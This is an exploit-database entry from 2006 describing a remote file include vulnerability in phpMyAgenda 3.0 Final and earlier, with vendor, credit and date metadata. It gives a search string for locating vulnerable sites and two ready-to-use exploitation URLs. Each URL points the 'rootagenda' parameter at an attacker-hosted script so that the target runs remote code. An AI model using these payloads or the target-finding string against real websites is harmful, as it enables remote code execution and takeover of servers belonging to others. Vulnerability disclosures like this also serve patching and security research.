phpMyAgenda <= 3.0 Final (rootagenda) Remote Include Vulnerability

2006-04-30T00:00:00
ID 1337DAY-ID-386
Type zdt
Reporter Aesthetico
Modified 2006-04-30T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==================================================================
phpMyAgenda <= 3.0 Final (rootagenda) Remote Include Vulnerability
==================================================================





Title: phpMyAgenda <=3.0 Final - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: phpMyAgenda
URL: http://phpmyagenda.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "Powered by phpMyAgenda"
-----------------------------------------------------------------

Exploitation:

/agenda.php3?rootagenda=http://www.yourspace.com/yourscript.php?
/agenda2.php3?rootagenda=http://www.yourspace.com/yourscript.txt?



#  0day.today [2018-03-17]  #